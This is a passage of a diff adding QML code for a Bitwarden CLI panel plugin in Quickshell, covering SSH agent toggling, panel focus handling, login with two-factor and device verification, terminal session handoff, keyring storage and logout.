finished, because this must fire on a real + // transition and not on the initial evaluation of the binding. Without the + // guard, every shell start with the feature off would delete a routing file + // the user never touched -- a filesystem change nobody asked for. + property bool sshAgentSettingsReady: false + + onSshAgentEnabledChanged: { + if (sshAgentEnabled) inspectSshAgentHelper() + inspectUwsmFragment() + if (!sshAgentSettingsReady) return + if (!sshAgentEnabled) { + // Stopping the helper goes through the supervisor, which knows nothing + // about the public projection. Without this, the files of a feature + // that is no longer running are left behind on disk. + applySshAgentLifecycle("disable") + removeUwsmFragment() + return + } + // And turning it back on puts the file back, because taking it away on + // one toggle and not restoring it on the other is a trap: SSH_AUTH_SOCK + // is fixed at login, so the session that flips the setting keeps working + // either way and the damage only appears at the next boot, long past the + // point where anyone would connect the two. The inspection above is + // asynchronous, so the decision waits for its answer. + uwsmRestorePending = true + } + + // Only ever set by re-enabling the agent, and cleared by the first + // inspection that follows. It restores what disabling removed; it never + // routes a session that was not already routed, and it never overrules a + // file this plugin did not write. + property bool uwsmRestorePending: false + + function applyUwsmRestore() { + if (!uwsmRestorePending) return + uwsmRestorePending = false + if (!sshAgentEnabled || uwsmBusy) return + // "absent" only: a foreign file, a symlink, an unreadable one or no HOME + // are all cases the plugin refuses to touch, and it must keep refusing + // here. An agent already owning SSH_AUTH_SOCK is a decision the user + // makes at the button, with the conflict named. + if (uwsmFragment.state !== "absent" || sshRouting.state === "elsewhere") return + beginUwsmSetup() + } + + // ------------------------------------------------------------------------- + // Lifecycle & Open / Close + // ------------------------------------------------------------------------- + + function open() { + errorMessage = "" + flashMessage = "" + revealedFields = ({}) + cursorActive = true + showDeleteConfirm = false + totpFollowupActive = false + isUnlocking = false + suggestionsDismissed = false + fingerprintMessage = "" + + // controller.show() flips `opened`, which runs onPanelOpened via + // onOpenedChanged. Only drive it directly when the panel was already open + // and that signal will not fire -- otherwise every open did its startup + // work twice, including two `bw status` calls at ~3s each. + var wasOpen = opened + root.controller.show() + if (wasOpen) onPanelOpened() + } + + function close() { + errorMessage = "" + revealedFields = ({}) + showDeleteConfirm = false + totpFollowupActive = false + isUnlocking = false + cancelAuthPrewarm() + if (pendingSecondFactorLogin()) suspendPendingLogin() + else abandonAuthSecrets() + // Closing a setup form is cancellation even if its keyring writer has + // already started; its completion handler will clear a stale write. + abandonPinSetup() + abandonFingerprintSetup() + cancelFingerprintUnlock() + cancelAttachmentDownloads() + stopGeneratorServe() + root.controller.hide() + } + + function toggle() { + if (opened) close() + else open() + } + + function detectActiveWindowContext() { + if (!suggestOnOpen) return + activeWindowProc.command = Model.activeWindowCommand() + activeWindowProc.running = true + } + + function loadAssociations() { + if (associationsReadProc.running) return + associationsReadEpoch = associationsEpoch + associationsReadProc.command = Model.associationsReadCommand() + associationsReadProc.running = true + } + + function onAssociationsLoaded(raw) { + if (associationsReadEpoch !== associationsEpoch) return + associations = Model.parseAssociations(raw) + if (activeWindowData) handleActiveWindowDetected(activeWindowData) + } + + function saveAssociations(next) { + associations = next + pendingAssociationsJson = Model.serializeAssociations(next) + if (associationsWriteProc.running) { + associationsWritePending = true + return + } + associationsWritePending = false + associationsWriteProc.running = true + } + + // Called whenever the user acts on an item while a window context is active. + // Silent by design: teaching happens as a side effect of normal use. + function learnFromPick(item) { + if (!suggestOnOpen || !item || !item.id || !detectedContext || !Model.isLoginItem(item)) return + if (Model.isAssociated(associations, detectedContext, item.id)) return + saveAssociations(Model.recordAssociation(associations, detectedContext, item.id, new Date().toISOString())) + } + + // Explicit pin/unpin from the detail view. + function toggleAssociation(item) { + if (!item || !item.id || !detectedContext || !Model.isLoginItem(item)) return + if (Model.isAssociated(associations, detectedContext, item.id)) { + saveAssociations(Model.forgetAssociation(associations, detectedContext, item.id)) + flashNotification("No longer suggested for " + detectedContext.displayName) + } else { + saveAssociations(Model.recordAssociation(associations, detectedContext, item.id, new Date().toISOString())) + flashNotification("Always suggested for " + detectedContext.displayName) + } + if (activeWindowData) handleActiveWindowDetected(activeWindowData) + } + + function handleActiveWindowDetected(data) { + activeWindowData = data + if (!suggestOnOpen) { + suggestedItems = [] + detectedContext = null + rebuildFilter() + return + } + if (items.length === 0) { + return + } + var res = Model.findContextualMatches(items, data, associations) + detectedContext = res.context + suggestedItems = res.matches + learnedIds = res.learnedIds || ({}) + rebuildFilter() + } + + // Every field on the login screen, and every field on the unlock screen. + // focusAppropriateField() consults these before it moves the cursor. + function loginFieldHasFocus() { + return emailField.activeFocus || loginPassField.activeFocus + || code2faField.activeFocus || deviceCodeField.activeFocus + || serverUrlField.activeFocus + || apiClientIdField.activeFocus || apiClientSecretField.activeFocus + || apiMasterField.activeFocus + } + + function unlockFieldHasFocus() { + return passField.activeFocus || pinField.activeFocus + } + + // Put the cursor somewhere sensible when a screen appears -- not hold it + // there. Those are the same thing right up until something announces a + // screen the user is already typing on, and something does: a logout sets + // the status itself and then runs `bw status` to confirm it, which takes a + // few seconds and arrives to say "unauthenticated" in the middle of the + // master password being typed. Re-focusing on that news moved the cursor + // from the password field to the email field mid-word, so the rest of the + // password went into an unmasked field that was about to be submitted as an + // email address. + // + // So a screen that already holds the cursor keeps it. Moving between screens + // still focuses, because the field holding focus then belongs to the screen + // being left rather than the one arriving. + function focusAppropriateField() { + if (sshApprovalPopupOpen) return + Qt.callLater(function() { + // Setup has no field to type into, and the ones this would reach for are + // on screens that are not showing. + if (currentScreen === "setup") return + if (status === "unlocked" && currentScreen === "main") { + if (!searchField.activeFocus) searchField.forceActiveFocus() + } else if (status === "locked" || status === "checking") { + if (unlockFieldHasFocus()) return + if (pinReady) pinField.forceActiveFocus() + else passField.forceActiveFocus() + } else if (status === "unauthenticated") { + if (loginFieldHasFocus()) return + // A login resumed on a challenge opens on the field that is waiting, + // not back at the top of the form. + if (showDeviceCodeField) deviceCodeField.forceActiveFocus() + else if (show2faField) code2faField.forceActiveFocus() + else if (!show2faMethodPicker) emailField.forceActiveFocus() + } + }) + } + + onOpenedChanged: { + if (opened) onPanelOpened() + else { + cancelFingerprintUnlock() + cancelAuthPrewarm() + if (pendingSecondFactorLogin()) suspendPendingLogin() + else abandonAuthSecrets() + // A closed panel must not keep a field focused, or the next open would + // count as "already typing here" and skip the field the screen opens on. + keyCatcher.forceActiveFocus() + } + } + + function onPanelOpened() { + // A pending login that outlived its window is gone, not resumed. + if (secondFactorStartedAt > 0 + && !Model.secondFactorWindowOpen(secondFactorStartedAt, Date.now())) { + abandonAuthSecrets() + } + focusAppropriateField() + detectActiveWindowContext() + refreshFingerprintAvailability() + + // A signing request outranks the item list: it is the reason the panel + // opened, and a client is blocked on the answer. + if (sshPrompt) { + currentScreen = "sshApproval" + return + } + if (status === "unlocked") { + currentScreen = "main" + ensureItemsFresh() + } else if (status === "locked") { + // Still check for a handed-over session: a terminal login leaves the + // panel locked, which is precisely when the handoff matters. + refreshStatus() + prepareUnlock() + startFingerprintUnlock() + } else { + refreshStatus() + } + } + + // ------------------------------------------------------------------------- + // Status & Keyring Handlers + // ------------------------------------------------------------------------- + + function refreshStatus() { + errorMessage = "" + if (logoutPending) return + // The dependency probe owns the first status transition. Opening the + // panel before that short probe returns must wait rather than trying to + // execute a CLI that a first-run install may not have yet. + if (!depsChecked) { + checkDependencies() + return + } + // Nothing to ask while a required tool is missing. Every caller reaches + // here on some ordinary event -- a panel open, an IPC nudge -- and none of + // them should be able to walk the user past setup into a login form that + // has no CLI behind it. + if (setupGated) { + currentScreen = "setup" + return + } + // Past the gate, so the vault has been asked about. Recorded here rather + // than at the one call site that waits on the dependency probe, so a panel + // opened before that probe reports does not earn a second `bw status` -- + // three seconds each, and the first open is where they are felt. + statusProbeStarted = true + // A terminal login may have left a session waiting. Check before anything + // else, including the locked-with-no-session short circuit below, since + // that is exactly the state a terminal login leaves the panel in. + // + // Only a login this panel actually launched, and only for as long as one + // could still be in progress. Outside that window the file is removed + // rather than read: nobody is expecting a key, so nothing adopts it, and + // leaving a live one in the runtime directory is the worse outcome. + if (sessionHandoffProc.running) return + var expecting = Model.handoffWindowOpen(terminalLoginStartedAt, Date.now()) + if (!expecting) terminalLoginStartedAt = 0 + beginEpochOperation("sessionHandoff") + sessionHandoffProc.command = Model.sessionHandoffReadCommand(expecting) + sessionHandoffProc.running = true + } + + function onSessionHandoff(raw) { + if (epochOperationIsStale("sessionHandoff")) return + var handed = Model.extractSessionToken(String(raw || "").trim()) + if (handed) { + cancelAuthPrewarm() + abandonAuthSecrets() + // Consumed, so the window shuts behind it rather than staying open for + // whatever is written there next. + terminalLoginStartedAt = 0 + session = handed + vaultEpoch += 1 + storeCurrentSession() + + // bw minted this key moments ago, so trust it and start loading rather + // than spending another `bw status` (~3.3s) to be told what we know. + // The status check still runs, but alongside the loads instead of in + // front of them -- it only fills in the account email. + status = "unlocked" + currentScreen = "main" + itemsLoadedAt = 0 + statusRefreshAfterItems = true + beginInitialVaultLoad(true, false) + resetAutoLockTimer() + focusAppropriateField() + flashNotification("Signed in from the terminal") + return + } + + if (status === "locked" && !session) return + + if (session) { + runStatusCheck() + } else if (rememberSession && status !== "locked") { + beginEpochOperation("keyringLookup") + keyringLookupProc.command = Model.keyringLookupCommand() + keyringLookupProc.running = true + } else { + runStatusCheck() + } + } + + function onKeyringLookupFinished(rawToken) { + if (epochOperationIsStale("keyringLookup")) return + var token = String(rawToken || "").trim() + if (token) { + session = token + vaultEpoch += 1 + } + runStatusCheck() + } + + function runStatusCheck(authoritative) { + if (statusProc.running) return + statusCheckAuthoritative = authoritative !== false + beginEpochOperation("status") + statusProc.command = Model.statusCommand() + statusProc.running = true + } + + // An authentication the user has actually submitted, still running. + function authAttemptInFlight() { + return loginSubmitted || unlockSubmitted + } + + function onStatusFinished(rawJson) { + if (epochOperationIsStale("status")) return + // A `bw status` answers about the world as it was when it started, and it + // takes seconds. Landing mid-login, that answer is "unauthenticated" -- + // truthfully, for the moment it was asked -- and acting on it cancelled the + // login in flight: SIGTERM to a process the user had just submitted, the + // button dropping back out of "Verifying...", and nothing shown at all. The + // attempt is the newer news; it will set the state itself when it lands. + if (authAttemptInFlight()) { + return + } + isLoading = false + var authoritative = statusCheckAuthoritative + statusCheckAuthoritative = true + var st = Model.parseStatus(rawJson) + if (!authoritative) { + if (st && st.userEmail) { + userEmail = st.userEmail + if (!loginEmail) loginEmail = st.userEmail + } + return + } + if (!st) { + cancelAuthPrewarm() + if (vaultStatePresent()) { + if (session) requestSessionCredentialClear() + dropVaultState() + } + status = "unauthenticated" + currentScreen = "login" + focusAppropriateField() + return + } + + userEmail = st.userEmail + if (st.userEmail && !loginEmail) { + loginEmail = st.userEmail + } + + if (st.unlocked) { + cancelAuthPrewarm() + abandonAuthSecrets() + status = "unlocked" + currentScreen = "main" + ensureItemsFresh() + resetAutoLockTimer() + focusAppropriateField() + // A vault that has never synced holds no ciphers, so the item list is + // empty and correct -- which looks exactly like a vault with nothing in + // it. `bw login` is supposed to have synced by now, and reports success + // whether or not it managed to: it calls fullSync() without + // allowThrowOnError, so a sync that throws is swallowed, lastSync is + // never set, and the session it prints is a working session onto an + // empty local vault. That is not a state to render as an empty vault, + // so repair it once and reload. + if (!st.lastSync && session && !initialSyncAttempted && !isSyncing) { + initialSyncAttempted = true + syncVault() + } + } else if (st.locked) { + if (vaultStatePresent()) { + if (session) requestSessionCredentialClear() + dropVaultState() + } + status = "locked" + currentScreen = "locked" + focusAppropriateField() + if (sshAuthSurfaceActive) prepareUnlock() + if (sshAuthSurfaceActive) startFingerprintUnlock() + } else { + cancelAuthPrewarm() + if (vaultStatePresent()) { + if (session) requestSessionCredentialClear() + dropVaultState() + } + status = "unauthenticated" + currentScreen = "login" + focusAppropriateField() + } + } + + // ------------------------------------------------------------------------- + // In-Plugin Login & Authentication + // ------------------------------------------------------------------------- + + function emailLoginSignature() { + return String(loginEmail || "").trim() + "\n" + + resolvedLoginServerUrl() + "\n" + + (String(login2faCode || "").trim() ? "2fa" : "plain") + "\n" + + String(login2faMethod) + } + + function resolvedLoginServerUrl() { + return Model.loginServerUrlFor(loginServerRegion, loginServerUrl) + } + + function selectLoginServerRegion(region) { + if (loginServerRegion === region) return + loginServerRegion = region + errorMessage = "" + resetEmailLoginSecondFactor() + invalidateEmailLoginPrewarm() + } + + function invalidateEmailLoginPrewarm() { + if (loginSubmitted) return + if (loginSubmitAfterPrewarmStop) isLoading = false + loginSubmitAfterPrewarmStop = false + loginPrepareAfterPrewarmStop = false + loginPrewarmSignature = "" + if (loginProc.running) loginProc.running = false + } + + function resetEmailLoginSecondFactor() { + show2faField = false + login2faCode = "" + loginDeviceVerification = false + show2faMethodPicker = false + login2faMethodConfirmed = false + showDeviceCodeField = false + loginDeviceCode = "" + // Back to the remembered method, not to nothing: a fresh attempt should + // start from what worked last time. + login2faMethod = rememberedTwoFactorMethod + syncLoginFieldsToState() + } + + // The user answering bw's provider question. The pick is not trusted yet -- + // it is sent on its own first, without a code, which makes bw either mail + // the code (Email), accept it silently (Authenticator, YubiKey), or say the + // account does not have it. So a wrong pick costs nothing typed. + function chooseTwoFactorMethod(method) { + if (!Model.isTwoFactorMethod(method)) return + errorMessage = "" + login2faMethod = method + login2faMethodConfirmed = true + show2faMethodPicker = false + show2faField = false + login2faCode = "" + submitLogin() + } + + // Answering bw's new-device prompt, which is the only challenge it will not + // take from a flag. The code the user just typed goes to the command's + // environment, the password down the usual FIFO, and bw runs with its + // prompts enabled for this one call. + function submitDeviceVerification() { + if (loginSubmitted) return + var code = String(loginDeviceCode || "").trim() + if (!code) { + errorMessage = "Enter the code Bitwarden emailed you." + Qt.callLater(function() { deviceCodeField.forceActiveFocus() }) + return + } + if (!String(loginPassword || "")) { + errorMessage = "Your master password is needed again for this step." + resetEmailLoginSecondFactor() + Qt.callLater(function() { loginPassField.forceActiveFocus() }) + return + } + errorMessage = "" + isLoading = true + // A prewarmed process was started for the ordinary login and cannot answer + // this; stop it and start the interactive one when it is gone. + if (loginProc.running) { + deviceVerificationPending = true + loginSubmitAfterPrewarmStop = false + loginPrepareAfterPrewarmStop = false + loginProc.running = false + return + } + startDeviceVerificationLogin() + } + + function startDeviceVerificationLogin() { + deviceVerificationPending = false + loginPrewarmSignature = "" + loginAttemptHadCode = false + loginAttemptMethod = login2faMethod + // Set before the process starts, because both the environment binding and + // the exit handler read it. + deviceVerificationAttempt = true + loginProc.command = Model.deviceVerificationLoginCommand( + String(loginEmail || "").trim(), resolvedLoginServerUrl(), login2faMethod) + loginProc.running = true + loginSubmitted = true + writeAuthPassword("login", loginPassword) + } + + // A login stopped on a challenge it cannot answer without leaving the panel. + // Only these survive a close, only while the window is open, and only while + // there is still a password to submit with the answer. + function pendingSecondFactorLogin() { + if (status !== "unauthenticated" || loginMethod !== "email") return false + if (!show2faField && !showDeviceCodeField && !show2faMethodPicker) return false + if (!String(loginPassword || "")) return false + return Model.secondFactorWindowOpen(secondFactorStartedAt, Date.now()) + } + + // Typing into a TextField assigns to its own `text`, which breaks the binding + // back to the property behind it. After that the two are independent, and + // clearing the property alone leaves the field showing what was typed -- + // while every submit reads the property. That is exactly how a login came to + // be sent with no code at all while the user was looking at a filled-in + // field: bw answered "Code is required.", the panel reported the code as + // rejected, and retyping it repaired the property so the next click worked. + // + // So a field is never cleared by clearing what is behind it. These go + // together, always. + function syncLoginFieldsToState() { + code2faField.text = login2faCode + deviceCodeField.text = loginDeviceCode + loginPassField.text = loginPassword + apiMasterField.text = loginPassword + apiClientIdField.text = loginClientId + apiClientSecretField.text = loginClientSecret + } + + // Closing on a challenge keeps the stage and the password, and drops the + // code -- whatever was half-typed before going to look it up is not the code + // that is about to be read. + function suspendPendingLogin() { + login2faCode = "" + loginDeviceCode = "" + loginSubmitted = false + isLoading = false + syncLoginFieldsToState() + } + + // What a stopped login process owes whoever stopped it. `mayScrub` is false + // when the run that just ended was itself the scrub, so one cannot schedule + // another. + function resumeDeferredLogin(mayScrub) { + if (deviceVerificationPending) { + deviceVerificationPending = false + Qt.callLater(startDeviceVerificationLogin) + } else if (loginSubmitAfterPrewarmStop) { + loginSubmitAfterPrewarmStop = false + Qt.callLater(submitLogin) + } else if (loginPrepareAfterPrewarmStop) { + loginPrepareAfterPrewarmStop = false + Qt.callLater(prepareEmailLogin) + } else if (mayScrub) { + clearProcessCollectorSoon(loginProc) + } + } + + function markSecondFactorStage() { + secondFactorStartedAt = Date.now() + } + + function reopenTwoFactorMethodPicker() { + errorMessage = "" + show2faField = false + login2faCode = "" + show2faMethodPicker = true + markSecondFactorStage() + } + + function emailLoginButtonText() { + if (logoutCleanupFailed) return "Retry Logout Cleanup" + if (logoutPending) return "Finishing logout..." + if (isLoading) return show2faField ? "Verifying..." : "Logging in..." + return show2faField ? "Verify & Unlock" : "Log In & Unlock" + } + + function prepareEmailLogin() { + if (logoutPending || !opened || status !== "unauthenticated" || loginMethod !== "email" || isLoading) return + var email = String(loginEmail || "").trim() + var serverUrl = resolvedLoginServerUrl() + if (!email || Model.validateServerUrl(serverUrl)) return + // Configuring a custom server changes bw's persistent global state. Do it + // only after explicit submission, never merely because the password field + // received focus. Default-cloud logins still get the full prewarm win. + if (serverUrl) return + + var signature = emailLoginSignature() + if (loginProc.running) { + if (loginPrewarmSignature === signature) return + loginPrepareAfterPrewarmStop = true + loginProc.running = false + return + } + + loginPrepareAfterPrewarmStop = false + loginPrewarmSignature = signature + loginSubmitted = false + deviceVerificationAttempt = false + loginAttemptHadCode = String(login2faCode || "").trim().length > 0 + loginAttemptMethod = login2faMethod + loginProc.command = Model.emailLoginPrewarmCommand( + email, loginAttemptHadCode, serverUrl, login2faMethod) + loginProc.running = true + } + + function prepareUnlock() { + if (!sshAuthSurfaceActive || status !== "locked" || unlockProc.running) return + unlockSubmitted = false + unlockProc.command = Model.unlockPrewarmCommand() + unlockProc.running = true + } + + function cancelAuthPrewarm() { + authPasswordWriteTarget = "" + authPasswordWriteValue = "" + unlockSubmitted = false + loginSubmitted = false + loginSubmitAfterPrewarmStop = false + loginPrepareAfterPrewarmStop = false + loginPrewarmSignature = "" + if (authPasswordWriterProc.running) authPasswordWriterProc.running = false + if (unlockProc.running) unlockProc.running = false + if (loginProc.running) loginProc.running = false + } + + function abandonAuthSecrets() { + masterPassword = "" + loginPassword = "" + loginClientId = "" + loginClientSecret = "" + login2faCode = "" + show2faField = false + loginDeviceVerification = false + loginAttemptHadCode = false + show2faMethodPicker = false + login2faMethodConfirmed = false + login2faMethod = rememberedTwoFactorMethod + loginAttemptMethod = -1 + showDeviceCodeField = false + loginDeviceCode = "" + deviceVerificationAttempt = false + deviceVerificationPending = false + secondFactorStartedAt = 0 + loginPasswordRetryUsed = false + pendingUnlockPassword = "" + pendingUnlockFrom = "" + authPasswordWriteValue = "" + pinEntry = "" + pinUnlockSubmitted = false + fingerprintAuthorized = false + syncLoginFieldsToState() + } + + function writeAuthPassword(channel, password) { + authPasswordWriteTarget = channel + authPasswordWriteValue = String(password === undefined || password === null ? "" : password) + authPasswordWriterProc.command = Model.authPasswordWriteCommand(channel) + authPasswordWriterProc.running = true + } + + function onAuthPasswordWriterExited(exitCode) { + var target = authPasswordWriteTarget + authPasswordWriteTarget = "" + authPasswordWriteValue = "" + if (exitCode === 0) { + loginPasswordRetryUsed = false + return + } + if (!target) return + + if (target === "unlock") { + unlockSubmitted = false + isUnlocking = false + if (unlockProc.running) unlockProc.running = false + errorMessage = "Could not deliver the password to Bitwarden. Please try again." + Qt.callLater(prepareUnlock) + } else if (target === "login") { + loginSubmitted = false + isLoading = false + if (loginProc.running) loginProc.running = false + // The writer polls for bw's FIFO and gives up if bw has not opened it in + // time, which a cold start after the panel has been closed can outrun. + // Unlock has always re-armed itself here; login left the button for the + // user to press again, which is what having to click Verify twice was. + // Once, so a genuinely broken delivery still reports rather than looping. + if (!loginPasswordRetryUsed) { + loginPasswordRetryUsed = true + var retryDevice = deviceVerificationAttempt + deviceVerificationAttempt = false + Qt.callLater(retryDevice ? submitDeviceVerification : submitLogin) + return + } + errorMessage = "Could not deliver the password to Bitwarden. Please try again." + } + } + + function submitLogin() { + if (loginSubmitted) return + errorMessage = "" + if (logoutPending) { + errorMessage = "Finishing logout. Please wait a moment." + return + } + + // Checked before either branch, because both send the master password to + // whatever this names. See validateServerUrl() for what it refuses. + var serverUrl = resolvedLoginServerUrl() + var serverProblem = Model.validateServerUrl(serverUrl) + if (serverProblem) { + errorMessage = serverProblem + return + } + + if (loginMethod === "email") { + var email = String(loginEmail || "").trim() + var pass = String(loginPassword === undefined || loginPassword === null ? "" : loginPassword) + if (!email) { + errorMessage = "Email address is required" + return + } + if (!pass) { + errorMessage = "Master password is required" + return + } + if (show2faMethodPicker) { + errorMessage = "Choose a two-step method to continue." + return + } + if (show2faField && !String(login2faCode || "").trim()) { + errorMessage = "Two-step verification code is required" + Qt.callLater(function() { code2faField.forceActiveFocus() }) + return + } + + isLoading = true + deviceVerificationAttempt = false + var signature = emailLoginSignature() + if (loginProc.running && loginPrewarmSignature !== signature) { + loginPrepareAfterPrewarmStop = false + loginSubmitAfterPrewarmStop = true + loginProc.running = false + return + } + if (!loginProc.running) { + loginPrewarmSignature = signature + loginAttemptHadCode = login2faCode.trim().length > 0 + loginAttemptMethod = login2faMethod + loginProc.command = Model.emailLoginPrewarmCommand( + email, loginAttemptHadCode, serverUrl, login2faMethod) + loginProc.running = true + } + loginSubmitted = true + writeAuthPassword("login", pass) + } else { + var id = String(loginClientId || "").trim() + var secret = String(loginClientSecret || "").trim() + var pass2 = String(loginPassword === undefined || loginPassword === null ? "" : loginPassword) + + if (!id) { + errorMessage = "API Client ID is required" + return + } + if (!secret) { + errorMessage = "API Client Secret is required" + return + } + if (!pass2) { + errorMessage = "Master password is required to unlock vault" + return + } + + isLoading = true + if (loginProc.running) { + loginPrepareAfterPrewarmStop = false + loginSubmitAfterPrewarmStop = true + loginProc.running = false + return + } + // Client ID, client secret and password all travel in the environment. + loginSubmitted = true + loginPrewarmSignature = "" + loginAttemptHadCode = false + loginAttemptMethod = -1 + loginProc.command = Model.apiKeyLoginCommand(serverUrl) + loginProc.running = true + } + } + + // Every exit from onLoginOutput says which branch it took. Read with: + // quickshell log -f | grep qs-bitwarden + function logLogin(branch, out, err, exitCode) { + console.log("qs-bitwarden login " + Model.loginDiagnostic(out, err, exitCode, branch)) + } + + function onLoginOutput(stdoutText, stderrText, exitCode) { + isLoading = false + loginPrewarmSignature = "" + var out = String(stdoutText || "").trim() + var err = String(stderrText || "").trim() + var wasDeviceAttempt = deviceVerificationAttempt + deviceVerificationAttempt = false + + // The interactive login answers for itself. Its output is a prompt session + // rather than one of bw's one-line refusals, so none of the detectors + // below should be allowed to read it. + if (wasDeviceAttempt && !(exitCode === 0 && out.length > 10)) { + var detail = Model.sanitizeInteractiveStderr(err, loginDeviceCode) + loginDeviceCode = "" + loginDeviceVerification = true + // 124 is `timeout`; the prompt error is inquirer finding nothing left to + // read. Both mean bw wanted something this login could not give it, and + // a terminal is the only thing that can. + if (exitCode === 124 || Model.loginPromptRanOutOfInput(out, err)) { + showDeviceCodeField = false + logLogin("device-unanswerable", out, err, exitCode) + errorMessage = "This login asked for something the panel could not answer. " + + "Finish it in a terminal instead." + return + } + logLogin("device-code-rejected", out, err, exitCode) + showDeviceCodeField = true + markSecondFactorStage() + errorMessage = detail + ? "Device verification failed: " + detail + : "That verification code was not accepted. Use the newest email and try again." + Qt.callLater(function() { deviceCodeField.forceActiveFocus() }) + return + } + + // Checked before the second-factor branch, which matches the same sentence. + // A code went out and bw still says a code is required, so this is the + // new-device challenge -- asking for the code again would loop forever on + // one bw cannot be given. The terminal login can answer it. + if (Model.loginNeedsDeviceVerification(out, err, loginAttemptHadCode)) { + resetEmailLoginSecondFactor() + loginDeviceVerification = true + showDeviceCodeField = true + markSecondFactorStage() + errorMessage = "Bitwarden needs to verify this device. Enter the code it emailed you." + logLogin("device-verification", out, err, exitCode) + Qt.callLater(function() { deviceCodeField.forceActiveFocus() }) + return + } + + // No --method can answer this one and no terminal helps: the account's + // two-step methods are ones the CLI cannot perform at all. + if (Model.loginHasNoUsableProvider(out, err)) { + resetEmailLoginSecondFactor() + logLogin("no-usable-provider", out, err, exitCode) + errorMessage = "This account's two-step method is one the Bitwarden CLI cannot use, " + + "such as a passkey or Duo. Log in with an API key instead." + return + } + + // bw asking which two-step method to use. Answering it by guessing is what + // costs a real failed attempt, so the panel puts the question to the user. + if (Model.loginNeedsMethodChoice(out, err)) { + // A method that was only remembered, never confirmed against this + // account, is the likeliest thing to be wrong here -- shell.json holds + // one method for whichever account logged in last. Drop it and let the + // untargeted attempt say what this account actually needs. The method + // only ever goes from set to unset here, so this cannot loop. + if (Model.isTwoFactorMethod(loginAttemptMethod) && !login2faMethodConfirmed) { + forgetTwoFactorMethod() + login2faMethod = -1 + loginAttemptMethod = -1 + logLogin("method-stale-retry", out, err, exitCode) + Qt.callLater(submitLogin) + return + } + var rejectedMethod = login2faMethodConfirmed + ? Model.twoFactorMethodLabel(loginAttemptMethod) : "" + show2faField = false + login2faCode = "" + login2faMethod = -1 + login2faMethodConfirmed = false + show2faMethodPicker = true + markSecondFactorStage() + errorMessage = rejectedMethod + ? "Bitwarden does not have " + rejectedMethod + " set up for this account. " + + "Choose another method." + : "This account has more than one two-step method. Choose the one you use." + logLogin("method-choice", out, err, exitCode) + return + } + + if (Model.loginNeedsSecondFactor(out, err)) { + // A code must never be sent without the method it belongs to. bw only + // puts the token on the wire when a provider came with it, so without + // --method the first request is a bare password grant -- and for an + // email provider the server answers that by issuing a fresh code, + // invalidating the one the user is about to type. Confirmed against + // bw 2026.2.0: the same command with --method succeeds and without it + // returns "Two-step token is invalid." + // + // The method cannot be inferred, so it is asked for once per account + // before any code is collected. An authenticator would survive being + // asked in the wrong order; an emailed code would not. + if (!Model.isTwoFactorMethod(login2faMethod)) { + show2faField = false + login2faCode = "" + show2faMethodPicker = true + markSecondFactorStage() + syncLoginFieldsToState() + errorMessage = "Two-step verification is required. Choose the method this account uses." + logLogin("second-factor-needs-method", out, err, exitCode) + return + } + var secondFactorWasVisible = show2faField + show2faMethodPicker = false + show2faField = true + markSecondFactorStage() + logLogin("second-factor", out, err, exitCode) + errorMessage = secondFactorWasVisible + ? "That two-step verification code was not accepted. Please try again." + : "Two-step verification is required. Enter your code to continue." + Qt.callLater(function() { code2faField.forceActiveFocus() }) + return + } + + if (exitCode === 0 && out.length > 10) { + rememberTwoFactorMethod(login2faMethod) + loginPassword = "" + login2faCode = "" + logLogin("success", out, err, exitCode) + onUnlockSuccess(out) + return + } + + if (err) { + logLogin("bw-error", out, err, exitCode) + errorMessage = err + } else if (exitCode !== 0) { + logLogin("failed-no-stderr", out, err, exitCode) + errorMessage = "Login failed. Please check your credentials." + } else { + // bw exited cleanly and said nothing at all. Handing that to the unlock + // path was silent by construction: prepareUnlock() refuses it because + // the vault is not locked, so the password went to a FIFO nobody had + // created and failed two seconds later, after the next click had already + // cleared the message. Say what happened instead. + logLogin("clean-exit-no-session", out, err, exitCode) + errorMessage = "Bitwarden reported no error but returned no session. " + + "Please try again, or use the terminal login." + } + } + + function launchTerminalLogin() { + if (logoutPending) { + errorMessage = "Finishing logout. Please wait a moment." + return + } + // The panel knows whether this is a login or an unlock, so the terminal + // does not have to spend a `bw status` round trip working it out. + var mode = (status === "locked") ? "unlock" : "login" + var serverUrl = mode === "login" ? resolvedLoginServerUrl() : "" + var serverProblem = Model.validateServerUrl(serverUrl) + if (serverProblem) { + errorMessage = serverProblem + return + } + close() + // Opens the window in which a handed-over session key is accepted. See + // refreshStatus(). + terminalLoginStartedAt = Date.now() + Quickshell.execDetached(Model.terminalLoginCommand(mode, serverUrl)) + } + + function logoutAccount() { + if (logoutPending) return + logoutPending = true + logoutCliDone = false + logoutCredentialsDone = false + logoutExitCode = 0 + logoutCredentialsExitCode = 0 + terminalLoginStartedAt = 0 + lockVault() + // Stronger than the lock above: logout takes the public projection with + // it, so a new account cannot inherit the last one's identities. + applySshAgentLifecycle("logout") + forgetStoredCredentials() + pendingUnlockPassword = "" + logoutProc.command = Model.logoutCommand() + logoutProc.running = true + status = "unauthenticated" + currentScreen = "login" + userEmail = "" + } + + function onLogoutCliFinished(exitCode) { + if (!logoutPending) return + logoutExitCode = exitCode + logoutCliDone = true + finishLogoutIfReady() + } + + function onLogoutCredentialsFinished(exitCode) { + if (!logoutPending) return + logoutCredentialsExitCode = exitCode + logoutCredentialsDone = true + finishLogoutIfReady() + } + + function finishLogoutIfReady() { + if (!logoutPending || !logoutCliDone || !logoutCredentialsDone) return + if (logoutCredentialsExitCode !== 0) { + errorMessage = "Could not clear stored credentials. Retry logout cleanup before signing in." + return + } + logoutPending = false + status = "unauthenticated" + currentScreen = "login" + if (logoutExitCode === 0) flashNotification("Logged out") + else errorMessage = "Bitwarden logout did not complete cleanly. Please try again." + focusAppropriateField() + } + + function retryLogoutCleanup() { + if (!logoutCleanupFailed) return + errorMessage = "" + logoutCredentialsDone = false + logoutCredentialsExitCode = 0 + requestAllCredentialClear() + } + + function storeCurrentSession() { + if (logoutPending) { + sessionStorePending = false + return + } + if (!rememberSession || !session) { + sessionStorePending = false + return + } + if (keyringStoreProc.running || keyringClearProc.running) { + sessionStorePending = true + return + } + sessionStorePending = false + beginEpochOperation("sessionStore") + keyringStoreProc.running = true + } + + function onSessionStored(exitCode) { + if (epochOperationIsStale("sessionStore") || status !== "unlocked" || !session) { + sessionStorePending = rememberSession && status === "unlocked" && !!session + requestSessionCredentialClear() + return + } + sessionStorePending = false + if (exitCode !== 0) { + console.warn("qs-bitwarden-cli: could not store session in keyring (exit " + exitCode + ")") + } + } + + function requestSessionCredentialClear() { + if (keyringClearProc.running) { + sessionClearPending = true + return + } + sessionClearPending = false + keyringClearProc.running = true + } + + function 